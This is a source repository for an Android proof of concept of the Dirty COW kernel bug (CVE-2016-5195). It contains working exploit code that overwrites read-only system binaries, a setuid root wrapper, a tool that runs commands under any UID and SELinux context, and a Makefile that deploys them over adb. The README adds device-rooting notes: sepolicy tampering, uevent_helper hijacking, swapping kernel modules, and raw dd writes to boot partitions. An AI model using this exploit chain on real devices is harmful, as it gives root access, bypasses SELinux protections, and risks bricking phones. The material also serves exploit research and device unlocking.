├── .gitignore ├── Android.mk ├── Makefile ├── README.md ├── dirtycow.c ├── run-as.c ├── run.c └── selinux.h /.gitignore: -------------------------------------------------------------------------------- 1 | libs/ 2 | obj/ 3 | 4 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | dirtycow.c 7 | 8 | LOCAL_MODULE := dirtycow 9 | LOCAL_LDFLAGS += -llog 10 | LOCAL_CFLAGS += -fPIE 11 | LOCAL_LDFLAGS += -fPIE -pie 12 | 13 | include $(BUILD_EXECUTABLE) 14 | 15 | include $(CLEAR_VARS) 16 | 17 | LOCAL_SRC_FILES := \ 18 | run-as.c 19 | 20 | LOCAL_MODULE := run-as 21 | LOCAL_CFLAGS += -fPIE 22 | LOCAL_LDFLAGS += -fPIE -pie 23 | 24 | include $(BUILD_EXECUTABLE) 25 | 26 | include $(CLEAR_VARS) 27 | 28 | LOCAL_SRC_FILES := \ 29 | run.c 30 | 31 | LOCAL_MODULE := run 32 | LOCAL_LDFLAGS += -lselinux 33 | LOCAL_CFLAGS += -fPIE 34 | LOCAL_LDFLAGS += -fPIE -pie 35 | 36 | include $(BUILD_EXECUTABLE) 37 | 38 | include $(CLEAR_VARS) 39 | 40 | LOCAL_SRC_FILES := \ 41 | setenforce.c 42 | 43 | LOCAL_MODULE := setenforce 44 | LOCAL_LDFLAGS += -llog 45 | LOCAL_CFLAGS += -fPIE 46 | LOCAL_LDFLAGS += -fPIE -pie 47 | 48 | include $(BUILD_EXECUTABLE) 49 | 50 | include $(CLEAR_VARS) 51 | 52 | LOCAL_SRC_FILES := \ 53 | write_null.c 54 | 55 | LOCAL_MODULE := write_null 56 | LOCAL_LDFLAGS += -llog -lselinux 57 | LOCAL_CFLAGS += -fPIE 58 | LOCAL_LDFLAGS += -fPIE -pie 59 | 60 | include $(BUILD_EXECUTABLE) 61 | 62 | include $(CLEAR_VARS) 63 | 64 | LOCAL_SRC_FILES := \ 65 | insmod_as_wlan.c 66 | 67 | LOCAL_MODULE := insmod_as_wlan 68 | 69 | include $(BUILD_EXECUTABLE) 70 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | #export PATH=$PATH:/media/kay/4082bd8d-0f54-444e-a97f-aa84565641a1/android-ndk-r13b 2 | arch = $(shell adb shell getprop ro.product.cpu.abi) 3 | #arch = armeabi-v7a 4 | # choose platform https://developer.android.com/ndk/guides/stable_apis.html#purpose 5 | # https://source.android.com/source/build-numbers.html 6 | platform = android-22 7 | libselinux = $(shell dirname `which ndk-build`)/platforms/$(platform)/arch-arm/usr/lib/libselinux.so 8 | 9 | all: build 10 | 11 | build: 12 | test -f $(libselinux) || adb pull /system/lib/libselinux.so $(libselinux) 13 | ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=$(platform) TARGET_ARCH_ABI=$(arch) 14 | 15 | push: build 16 | adb push libs/$(arch)/dirtycow /data/local/tmp/dirtycow 17 | adb push libs/$(arch)/run-as /data/local/tmp/run-as 18 | adb push libs/$(arch)/run /data/local/tmp/run 19 | 20 | #run: push 21 | run: 22 | adb shell 'chmod 777 /data/local/tmp/dirtycow /data/local/tmp/run-as /data/local/tmp/run' 23 | adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as' 24 | adb shell /system/bin/run-as /data/local/tmp/run -u root -c u:r:init:s0 id 25 | 26 | adb: run 27 | adb shell run-as /data/local/tmp/dirtycow /sbin/adbd /data/local/tmp/adbd.patched 28 | 29 | root: push run 30 | 31 | clean: 32 | rm -rf libs 33 | rm -rf obj 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-5195 2 | CVE-2016-5195 (dirty cow/dirtycow/dirtyc0w) proof of concept for Android 3 | 4 | ## Info 5 | 6 | This is POC of the exec wrapper which can execute app under any user or any SELinux context. Tested on Linux hosts only and on Android 4.4.x KitKat. 7 | 8 | ## Libraries 9 | 10 | `selinux.h` header was taken from Android source: 11 | 12 | ```sh 13 | curl 'https://android.googlesource.com/platform/external/libselinux/+/android-4.4.2_r2/include/selinux/selinux.h?format=TEXT' | base64 -d > selinux.h 14 | ``` 15 | 16 | In case when your Android NDK doesn't contain `libselinux.so` library, it should be pulled automatically from your smartphone using adb shell. 17 | 18 | ## Android NDK 19 | 20 | You have to download an [Android NDK](https://developer.android.com/ndk/downloads/index.html), unpack it and set the path to you Android NDK directory before running make: 21 | 22 | ```sh 23 | export PATH=$PATH:/path/to/android/ndk 24 | ``` 25 | 26 | ## Description 27 | 28 | * `dirtycow.c` - executes dirtycow exploit and replaces original `/system/bin/run-as` which uses `setuid`. 29 | * `run-as.c` - simple wrapper with the root `setuid`. 30 | * `run.c` - wrapper which support execution with any UID/GID and SELinux context. 31 | 32 | `run-as.c` doesn't contain `run.c` features becasue `run-as` binary should be as small as possible. 33 | 34 | `run.c` binary support the following parameters: 35 | 36 | * `-u` - UID or user name 37 | * `-g` - GID or group name (if not set will use UID) 38 | * `-c` - SELinux context string, i.e. `u:r:init:s0` 39 | 40 | If nothing was set UID and GID will be set to 0 (root), SELinux context will be inherited from the current session. 41 | 42 | ## Build 43 | 44 | You have to modify `Makefile` in case when you don't compile binaries for the Android 4.4 KitKat and `armeabi-v7a` architecture. The command below will compile, push and replace original `run-as` binary. 45 | 46 | ```sh 47 | make run 48 | ``` 49 | 50 | ## Run 51 | 52 | ```sh 53 | $ adb shell 54 | shell@Android:/ $ /system/bin/run-as /data/local/tmp/run -u root -g root -c u:r:init:s0 id 55 | uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:init:s0 56 | ``` 57 | 58 | ## The problem 59 | 60 | The last existing problem is to disable SELinux (set it to permissive mode). It should be possible to disable SELinux using the command below: 61 | 62 | ```sh 63 | shell@Android:/ $ run-as /data/local/tmp/run -u system setenforce 0 64 | setenforce: Could not set enforcing status: Invalid argument 65 | ``` 66 | 67 | but it doesn't work. Even `echo 0 > /sys/fs/selinux/enforce` return error: 68 | 69 | ```sh 70 | shell@Android:/ $ run-as /data/local/tmp/run -u system -c u:r:system:s0 id 71 | shell@Android:/ $ echo 0 > /sys/fs/selinux/enforce 72 | 1|shell@KC-S701:/ $ 73 | ``` 74 | 75 | ## Control daemons in Adnroid 76 | 77 | ```sh 78 | setprop ctl.start DAEMON 79 | ``` 80 | 81 | ## Kernel version 82 | 83 | ```sh 84 | $ cat /proc/version 85 | Linux version 3.4.0 (build@KYOCERA) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Wed Apr 1 16:03:40 JST 2015 86 | $ getprop ro.build.fingerprint 87 | KYOCERA/KC-S701/KC-S701:4.4.2/101.0.1830/101.0.1830:user/release-keys 88 | $ getprop ro.build.internalswversion 89 | 0.501NZ.01.a 90 | ``` 91 | 92 | Clone kernel: 93 | 94 | ```sh 95 | git clone https://android.googlesource.com/kernel/msm 96 | cd msm 97 | git checkout -b android-4.4w_r10 android-4.4w_r10 98 | grep -A4 ^VERSION Makefile 99 | 100 | 101 | looking for `tristate "MMC/SD driver for Ricoh Bay1Controllers (EXPERIMENTAL)"` and `bool "Ricoh MMC Controller Disabler (EXPERIMENTAL)"` inside the `drivers/mmc/host/Kconfig` 102 | 103 | ``` 104 | 105 | ## Unlock the bootloader 106 | 107 | ```sh 108 | $ cat /proc/secboot_mode 109 | 0x4e4f4253 110 | ``` 111 | 112 | Linux kernel contains `QFPROM_SECBOOT_ON (0x4E4F4253)` entry (`./arch/arm/mach-msm/board-8226.c`, `./lk/app/aboot/aboot.c`). 113 | 114 | https://github.com/ghassani/qfprom-kmod 115 | 116 | ``` 117 | ##### reboots to fota even on regular reboot 118 | adb push one_bit.bin /data/local/tmp/ 119 | dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=16 bs=1 count=1 120 | dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=24 bs=1 count=1 121 | dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131088 bs=1 count=1 122 | dd if=/data/local/tmp/one_bit.bin of=/dev/block/mmcblk0p33 seek=131096 bs=1 count=1 123 | sync 124 | echo 3 > /proc/sys/vm/drop_caches 125 | # when work on FS 126 | printf "\x01" | dd of=fotamng.img.test seek=16 bs=1 count=1 conv=notrunc 127 | printf "\x01" | dd of=fotamng.img.test seek=24 bs=1 count=1 conv=notrunc 128 | printf "\x01" | dd of=fotamng.img.test seek=131088 bs=1 count=1 conv=notrunc 129 | printf "\x01" | dd of=fotamng.img.test seek=131096 bs=1 count=1 conv=notrunc 130 | # when work in dload mode 131 | printf "\x01" | dd of=/dev/sdb33 seek=16 bs=1 count=1 132 | printf "\x01" | dd of=/dev/sdb33 seek=24 bs=1 count=1 133 | printf "\x01" | dd of=/dev/sdb33 seek=131088 bs=1 count=1 134 | printf "\x01" | dd of=/dev/sdb33 seek=131096 bs=1 count=1 135 | ##### 136 | setprop sys.powerctl reboot,recovery #0x77665502 - works, look for 02556677 in sbl 137 | setprop sys.powerctl reboot,rtc # doesn't work 138 | setprop sys.powerctl reboot,bootloader #0x77665500 - doesn't work, look for 00556677 in sbl 139 | setprop sys.powerctl reboot,oem-1 # works only when auth error is true (dtm can not be loaded), look for 016d656f in sbl 140 | setprop sys.powerctl reboot,edl # emergency download mode - works / QHSUSB__BULK / http://www.androidbrick.com/download/unbrick-qualcomm-qpst-2-7-437-latest-qfil-qualcomm-flasher-2/ 141 | http://www.androidbrick.com/ultimate-qualcomm-snapdragon-unbrick-guide-snapdragons-are-unbrickable-qhsusb_dload_qpst_qfil/ 142 | setprop sys.powerctl reboot,kdfs_reboot # what is that? 143 | setprop sys.powerctl reboot,dload 144 | ``` 145 | 146 | ## Download mode 147 | 148 | `CONFIG_MSM_DLOAD_MODE` kernel option. `./arch/arm/mach-msm/restart.c` source. 149 | 150 | Works only if set `dload_mode_enabled` in kernel. Search for `7D337BE4` and `1A0914CE` in ebl partition (`vim ./arch/arm/mach-msm/restart.c +104`). 151 | 152 | ## Sepolicy modification 153 | 154 | You can download and modify `/sepolicy` file (using `./dirtycow`). When you've modified tje `/sepolicy` file using dirtycow you have to run `setprop selinux.reload_policy 1` on android device to reload the policy (this will trigger `/sbin/ueventd` and `/system/bin/installd` restart). 155 | 156 | ### Modify sepolicy file 157 | 158 | Dump: 159 | 160 | ```sh 161 | export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir 162 | sudo apt-get install docker.io # docker-engine for Ubuntu 16.04 163 | git clone https://github.com/kayrus/sedump 164 | docker build -t sedump docker 165 | docker run -ti --rm -v ${PATH_TO_SEPOLICY_DIR}:/mnt sedump python setools/sedump /mnt/sepolicy -o /mnt/policy.conf 166 | ``` 167 | 168 | NOTE: `sedump` doesn't dump permissive types yet, you have to put them manually, i.e. just copy from https://android.googlesource.com/platform/external/sepolicy/+/android-4.4.2_r2 (`grep -h permissive *.te`). 169 | 170 | Build it back: 171 | 172 | ```sh 173 | export PATH_TO_SEPOLICY_DIR=/path/to/sepolicy/dir 174 | # sepolicy version 26 is used in KitKat 175 | checkpolicy -M -c 26 -o ${PATH_TO_SEPOLICY_DIR}/sepolicy.new ${PATH_TO_SEPOLICY_DIR}/policy.conf 176 | ``` 177 | 178 | NOTE: Unfortunately rebuilded sepolicy file is not identical to original one, it has same size though. 179 | 180 | Upload: 181 | 182 | ```sh 183 | adb push sepolicy.new /data/local/tmp/ 184 | adb shell run-as /data/local/tmp/run -u system -c u:r:init:s0 load_policy /data/local/tmp/sepolicy.new 185 | #adb shell /data/local/tmp/dirtycow /sepolicy /data/local/tmp/sepolicy.new 186 | #adb shell 'run-as /data/local/tmp/run -c u:r:init:s0 setprop selinux.reload_policy 1' 187 | ``` 188 | 189 | ### Enable dmesg 190 | 191 | ```sh 192 | adb push setenforce /data/local/tmp/setenforce 193 | adb shell /data/local/tmp/dirtycow /system/vendor/bin/kfbmpower /data/local/tmp/setenforce 194 | adb shell /system/bin/run-as /data/local/tmp/run setprop kcfactory.kfbm.status kfbm 195 | ``` 196 | 197 | ### Partitions 198 | 199 | http://newandroidbook.com/Articles/aboot.html 200 | 201 | * sbl1 - secure bootloader partition 202 | 203 | `Attribute flags: 1000000000000000` means read-only partition. 204 | 205 | ### Audit2allow 206 | 207 | Now we can analyze logs and create /sepolicy rules: 208 | 209 | ```sh 210 | adb shell dmesg | audit2allow 211 | ``` 212 | 213 | ### Capabilities 214 | 215 | We have to make sure we have `CAP_SYS_ADMIN` capabilities. 216 | 217 | ```sh 218 | $ capsh --decode=$(adb shell cat /proc/1/status | awk '/^CapBnd/ {print $2}') 219 | cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63 220 | $ capsh --decode=$(adb shell cat /proc/self/status | awk '/^CapBnd/ {print $2}') 221 | 0xfffffff0000000c0=cap_setgid,cap_setuid,cap_block_suspend,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63 222 | ``` 223 | 224 | What we can do to get full capabilities? 225 | 226 | * Patch kernel sepolicy domain and allow 227 | 228 | ### Uevent kernel 229 | 230 | ```sh 231 | cp /data/local/tmp/lsh /dev/lsh 232 | cp /data/local/tmp/setenforce /dev/setenforce 233 | echo "/dev/lsh" > /sys/kernel/uevent_helper 234 | echo /data/local/tmp/lsh > /sys/kernel/uevent_helper 235 | echo /dev/setenforce > /sys/kernel/uevent_helper 236 | ``` 237 | 238 | ### SOC msm8226 MTP 239 | 240 | ### Debug remount 241 | 242 | ``` 243 | [13908.111258] no permission in selinux_mount pid=11849 pname=mount realpath=/system dev_name=/dev/block/platform/msm_sdcc.1/by-name/system 244 | ``` 245 | 246 | ``` 247 | vim ./security/selinux/hooks.c +1932 248 | ``` 249 | 250 | ### Linux cmdline options 251 | 252 | Get cmdline string: 253 | 254 | ```sh 255 | $ run-as cat /proc/cmdline 256 | console=ttyHSL0,115200,n8 no_console_suspend=1 androidboot.console=ttyHSL0 androidboot.hardware=qcom user_debug=31 msm_rtb.filter=0x37 androidboot.emmc=true androidboot.serialno=cc1ece89 androidboot.baseband=msm lowtempmode=0 maxcpus=4 257 | ``` 258 | 259 | Description: 260 | 261 | * `androidboot.emmc=true` boot instructions are sent to the kernel to check sdcard for a bootable image 262 | 263 | ### Insert custom module 264 | 265 | ```sh 266 | adb shell /data/local/tmp/dirtycow /system/lib/modules/pronto/pronto_wlan.ko /data/local/tmp/wlan.ko 267 | ``` 268 | 269 | ### dd cache flush 270 | 271 | ```sh 272 | sync 273 | echo 3 > /proc/sys/vm/drop_caches 274 | ``` 275 | 276 | ### Allow writing to the externel sdcard 277 | 278 | ``` 279 | http://winaero.com/blog/unlock-external-sd-card-writing-for-all-apps-in-android-4-4-kitkat/ 280 | http://technofaq.org/posts/2014/04/fixing-external-sd-card-write-issue-on-android-kitkat/ 281 | ``` 282 | 283 | ### Sign recovery zip 284 | 285 | Check /res/keys from the recovery initrd: 286 | 287 | ``` 288 | java -jar dumpkey.jar testkey.x509.pem > mykey 289 | diff -u mykey res/keys 290 | ``` 291 | 292 | If keys are identical, so let's extract private key from the testdata and sign out ZIP with this key: 293 | 294 | ```sh 295 | openssl pkcs8 -inform DER -nocrypt -in bootable/recovery/testdata/testkey.pk8 -out key.pem 296 | ``` 297 | 298 | Write zip file and recovery update command: 299 | 300 | ```sh 301 | cp su.zip /cache/su.zip 302 | echo --update_package=/cache/su.zip --show_text > /cache/recovery/command 303 | #or 304 | # echo --show_text > /cache/recovery/command 305 | setprop sys.powerctl reboot,recovery 306 | # or graceful reboot 307 | su 308 | svc power reboot 309 | ``` 310 | 311 | #### Sepolicy info links 312 | 313 | * [sepolicy source](https://android.googlesource.com/platform/external/sepolicy/) 314 | * [Exploring Android's SELinux Kernel Policy](https://ge0n0sis.github.io/posts/2015/12/exploring-androids-selinux-kernel-policy/) 315 | * [Tool to inject sepolicy rules](https://bitbucket.org/joshua_brindle/sepolicy-inject/) 316 | * [Galaxy S7 Active Temp Root](http://www.redtile.io/security/galaxy/) 317 | * https://github.com/freddierice/trident 318 | * [Compiling a permissive Android kernel](http://graemehill.ca/compiling-permissive-android-kernel/) 319 | * http://forum.xda-developers.com/general/security/farm-root-recovery-image-pulling-t3490089 320 | * http://forum.xda-developers.com/r1-hd/how-to/blu-r1-hd-v6-6-dirtycowed-f-amazon-root-t3490882 321 | * https://googleprojectzero.blogspot.de/2016/12/bitunmap-attacking-android-ashmem.html 322 | * https://github.com/vampirefo/android_external_dirtycow 323 | * !!! https://www.thanassis.space/android.html 324 | * https://github.com/baselsayeh/custombackdoorlshserver (`lsh`) 325 | * https://github.com/pbatard/bootimg-tools - boot image tools 326 | * https://github.com/hiikezoe - Yet another Kyocera kernel/hack. 327 | * https://dev-nell.com/rpmb-emmc-errors-under-linux.html - what is RPMB partition 328 | * Android build issues: https://www.codeproject.com/questions/884413/android-mk-no-rule-to-make-target-x-so-needed-by-y 329 | * http://www.qtcentre.org/threads/57349-No-rule-to-make-target-error-while-building-for-Android 330 | * http://stackoverflow.com/questions/13139394/building-a-particular-module-in-the-android-source-code 331 | 332 | #### Read fastboot, etc: 333 | 334 | * http://www.modaco.com/forums/topic/376617-we-need-a-fix-for-the-system-write-protected-phones-can-anyone-help/ 335 | * http://forum.xda-developers.com/wiki/Bootloader 336 | * http://elinux.org/Android_Fastboot 337 | 338 | ## Useful tricks 339 | 340 | * `ps -Z` - list running apps with their SELinux context. 341 | * `ls -Z` - list files with their SELinux file context. 342 | * Write the `/cache/recovery/command` file with the `--show_text` contents, then run `adb reboot recovery` (or in details `setprop sys.powerctl reboot,recovery`, or `echo -n "boot-recovery" > /dev/block/platform/msm_sdcc.1/by-name/misc` - very dangerous, if recovery doesn't work it could issue the bootloop) and Android will be rebooted into recovery menu. It won't allow you to flash unsigned zip files though. 343 | 344 | ## Links 345 | 346 | * https://github.com/bkerler/CVE-2016-5195 - very nice hack which uses dirtycow to modify LG's recovery 347 | * kexec to load kernel inside the kernel: https://forum.xda-developers.com/fire-phone/development/dev-building-custom-kernel-kernel-t3195492/ 348 | * * https://forum.xda-developers.com/showthread.php?t=2104706 349 | * https://bits-please.blogspot.de/2016/05/war-of-worlds-hijacking-linux-kernel.html?showComment=1463407994828#c7297531813692425019 350 | * https://github.com/Kogorou42/firephone-kexec 351 | * https://forum.xda-developers.com/amazon-fire/orig-development/kexec-module-ford-t3270272 352 | -------------------------------------------------------------------------------- /dirtycow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #ifdef DEBUG 16 | #include 17 | #define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } 18 | #else 19 | #define LOGV(...) 20 | #endif 21 | 22 | #define LOOP 0x100000 23 | 24 | #ifndef PAGE_SIZE 25 | #define PAGE_SIZE 4096 26 | #endif 27 | 28 | struct mem_arg { 29 | unsigned char *offset; 30 | unsigned char *patch; 31 | unsigned char *unpatch; 32 | size_t patch_size; 33 | int do_patch; 34 | }; 35 | 36 | static void *madviseThread(void *arg) 37 | { 38 | struct mem_arg *mem_arg; 39 | size_t size; 40 | void *addr; 41 | int i, c = 0; 42 | 43 | mem_arg = (struct mem_arg *)arg; 44 | /*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/ 45 | /*size = mem_arg->offset - (unsigned long)addr;*/ 46 | /*size = mem_arg->patch_size + (mem_arg->offset - addr);*/ 47 | size = mem_arg->patch_size; 48 | addr = (void *)(mem_arg->offset); 49 | 50 | LOGV("[*] madvise = %p %d", addr, size); 51 | 52 | for(i = 0; i < LOOP; i++) { 53 | c += madvise(addr, size, MADV_DONTNEED); 54 | } 55 | 56 | LOGV("[*] madvise = %d %d", c, i); 57 | return 0; 58 | } 59 | 60 | static void *procselfmemThread(void *arg) 61 | { 62 | struct mem_arg *mem_arg; 63 | int fd, i, c = 0; 64 | unsigned char *p; 65 | 66 | mem_arg = (struct mem_arg *)arg; 67 | p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; 68 | 69 | fd = open("/proc/self/mem", O_RDWR); 70 | if (fd == -1) 71 | LOGV("open(\"/proc/self/mem\""); 72 | 73 | for (i = 0; i < LOOP; i++) { 74 | lseek(fd, (off_t)mem_arg->offset, SEEK_SET); 75 | c += write(fd, p, mem_arg->patch_size); 76 | } 77 | 78 | LOGV("[*] /proc/self/mem %d %i", c, i); 79 | 80 | close(fd); 81 | 82 | return NULL; 83 | } 84 | 85 | static void exploit(struct mem_arg *mem_arg, int do_patch) 86 | { 87 | pthread_t pth1, pth2; 88 | 89 | LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch"); 90 | LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); 91 | 92 | mem_arg->do_patch = do_patch; 93 | 94 | pthread_create(&pth1, NULL, madviseThread, mem_arg); 95 | pthread_create(&pth2, NULL, procselfmemThread, mem_arg); 96 | 97 | pthread_join(pth1, NULL); 98 | pthread_join(pth2, NULL); 99 | 100 | LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); 101 | } 102 | 103 | int main(int argc, char *argv[]) 104 | { 105 | if (argc < 2) { 106 | LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]); 107 | return 0; 108 | } 109 | 110 | struct mem_arg mem_arg; 111 | struct stat st; 112 | struct stat st2; 113 | 114 | int f=open(argv[1],O_RDONLY); 115 | if (f == -1) { 116 | LOGV("could not open %s", argv[1]); 117 | return 0; 118 | } 119 | if (fstat(f,&st) == -1) { 120 | LOGV("could not open %s", argv[1]); 121 | return 0; 122 | } 123 | 124 | int f2=open(argv[2],O_RDONLY); 125 | if (f2 == -1) { 126 | LOGV("could not open %s", argv[2]); 127 | return 0; 128 | } 129 | if (fstat(f2,&st2) == -1) { 130 | LOGV("could not open %s", argv[2]); 131 | return 0; 132 | } 133 | 134 | size_t size = st.st_size; 135 | if (st2.st_size != st.st_size) { 136 | LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st2.st_size, st.st_size); 137 | if (st2.st_size > size) { 138 | size = st2.st_size; 139 | } 140 | } 141 | 142 | LOGV("size %d\n\n",size); 143 | 144 | mem_arg.patch = malloc(size); 145 | if (mem_arg.patch == NULL) 146 | LOGV("malloc"); 147 | 148 | memset(mem_arg.patch, 0, size); 149 | 150 | mem_arg.unpatch = malloc(size); 151 | if (mem_arg.unpatch == NULL) 152 | LOGV("malloc"); 153 | 154 | read(f2, mem_arg.patch, st2.st_size); 155 | close(f2); 156 | 157 | /*read(f, mem_arg.unpatch, st.st_size);*/ 158 | 159 | mem_arg.patch_size = size; 160 | mem_arg.do_patch = 1; 161 | 162 | void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); 163 | if (map == MAP_FAILED) { 164 | LOGV("mmap"); 165 | return 0; 166 | } 167 | 168 | LOGV("[*] mmap %p", map); 169 | 170 | mem_arg.offset = map; 171 | 172 | exploit(&mem_arg, 1); 173 | 174 | close(f); 175 | // to put back 176 | /*exploit(&mem_arg, 0);*/ 177 | 178 | return 0; 179 | } 180 | -------------------------------------------------------------------------------- /run-as.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) 6 | { 7 | struct __user_cap_header_struct capheader; 8 | struct __user_cap_data_struct capdata[2]; 9 | 10 | memset(&capheader, 0, sizeof(capheader)); 11 | memset(&capdata, 0, sizeof(capdata)); 12 | capheader.version = _LINUX_CAPABILITY_VERSION_3; 13 | capdata[CAP_TO_INDEX(CAP_SETUID)].effective |= CAP_TO_MASK(CAP_SETUID); 14 | capdata[CAP_TO_INDEX(CAP_SETGID)].effective |= CAP_TO_MASK(CAP_SETGID); 15 | capdata[CAP_TO_INDEX(CAP_SETUID)].permitted |= CAP_TO_MASK(CAP_SETUID); 16 | capdata[CAP_TO_INDEX(CAP_SETGID)].permitted |= CAP_TO_MASK(CAP_SETGID); 17 | if (capset(&capheader, &capdata[0]) < 0) { 18 | printf("Could not set capabilities: %s\n", strerror(errno)); 19 | } else { 20 | printf("set capability\n"); 21 | } 22 | 23 | if(setresgid(0,0,0) || setresuid(0,0,0)) { 24 | printf("setresgid/setresuid failed\n"); 25 | } 26 | 27 | execvp(argv[1], argv+1); 28 | 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /run.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "selinux.h" 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char **argv) 11 | { 12 | int uid, gid, c, i = 0, d = 0; 13 | char *cntx = NULL; 14 | struct passwd *pw; 15 | struct group *gr; 16 | 17 | // default root uid/gid 18 | uid = -1; 19 | gid = -1; 20 | 21 | while ((c = getopt (argc, argv, "dc:u:g:")) != -1) { 22 | i++; 23 | switch (c) { 24 | case 'd': 25 | // set debug 26 | d = 1; 27 | break; 28 | case 'c': 29 | cntx = optarg; 30 | break; 31 | case 'u': 32 | if (sscanf(optarg,"%i",&uid) != 1) { 33 | pw = getpwnam(optarg); 34 | if (pw == NULL) { 35 | fprintf(stderr, "Invalid user (%s)\n", optarg); 36 | return 1; 37 | } 38 | uid = pw->pw_uid; 39 | if (d) { 40 | fprintf(stderr, "Resolved '%s' user into %d uid\n", optarg, uid); 41 | } 42 | } 43 | break; 44 | case 'g': 45 | if (sscanf(optarg,"%i",&gid) != 1) { 46 | gr = getgrnam(optarg); 47 | if (gr == NULL) { 48 | fprintf(stderr, "Invalid group (%s)\n", optarg); 49 | return 1; 50 | } 51 | gid = gr->gr_gid; 52 | if (d) { 53 | fprintf(stderr, "Resolved '%s' group into %d gid\n", optarg, gid); 54 | } 55 | } 56 | break; 57 | case '?': 58 | if (optopt == 'u') 59 | fprintf (stderr, "Option -%c requires an argument.\n", optopt); 60 | else if (optopt == 'g') 61 | fprintf (stderr, "Option -%c requires an argument.\n", optopt); 62 | else if (optopt == 'c') 63 | fprintf (stderr, "Option -%c requires an argument.\n", optopt); 64 | else if (isprint (optopt)) 65 | fprintf (stderr, "Unknown option `-%c'.\n", optopt); 66 | else 67 | fprintf (stderr, "Unknown option character `\\x%x'.\n", optopt); 68 | return 1; 69 | default: 70 | fprintf (stderr, "Abort\n"); 71 | return 1; 72 | } 73 | } 74 | 75 | // if uid was not set, we will use current one 76 | if (uid == -1) { 77 | uid = getuid(); 78 | if (d) { 79 | fprintf(stderr, "uid was not set, setting current %d\n", uid); 80 | } 81 | } 82 | // set gid=uid when it was not set 83 | if (gid == -1) { 84 | gid = uid; 85 | if (d) { 86 | fprintf(stderr, "did was not set, setting uid's %d\n", uid); 87 | } 88 | } 89 | 90 | if (d) { 91 | fprintf(stderr, "uid=%d gid=%d, cntx=%s\n",uid, gid, cntx); 92 | } 93 | 94 | if (setresgid(gid, gid, gid) || setresuid(uid, uid, uid)) { 95 | printf("setresgid(%d)/setresuid(%d) failed\n", gid, uid); 96 | } 97 | 98 | if (cntx != NULL && setcon(cntx)) { 99 | printf("Failed to set '%s' SELinux context\n", cntx); 100 | } 101 | 102 | execvp(argv[i*2+1-d], argv+i*2+1-d); 103 | 104 | return 0; 105 | } 106 | -------------------------------------------------------------------------------- /selinux.h: -------------------------------------------------------------------------------- 1 | #ifndef _SELINUX_H_ 2 | #define _SELINUX_H_ 3 | 4 | #include 5 | #include 6 | 7 | #ifdef __cplusplus 8 | extern "C" { 9 | #endif 10 | 11 | /* Return 1 if we are running on a SELinux kernel, or 0 if not or -1 if we get an error. */ 12 | extern int is_selinux_enabled(void); 13 | /* Return 1 if we are running on a SELinux MLS kernel, or 0 otherwise. */ 14 | extern int is_selinux_mls_enabled(void); 15 | 16 | typedef char *security_context_t; 17 | 18 | /* Free the memory allocated for a context by any of the below get* calls. */ 19 | extern void freecon(security_context_t con); 20 | 21 | /* Free the memory allocated for a context array by security_compute_user. */ 22 | extern void freeconary(security_context_t * con); 23 | 24 | /* Wrappers for the /proc/pid/attr API. */ 25 | 26 | /* Get current context, and set *con to refer to it. 27 | Caller must free via freecon. */ 28 | extern int getcon(security_context_t * con); 29 | 30 | /* Set the current security context to con. 31 | Note that use of this function requires that the entire application 32 | be trusted to maintain any desired separation between the old and new 33 | security contexts, unlike exec-based transitions performed via setexeccon. 34 | When possible, decompose your application and use setexeccon()+execve() 35 | instead. Note that the application may lose access to its open descriptors 36 | as a result of a setcon() unless policy allows it to use descriptors opened 37 | by the old context. */ 38 | extern int setcon(const security_context_t con); 39 | 40 | /* Get context of process identified by pid, and 41 | set *con to refer to 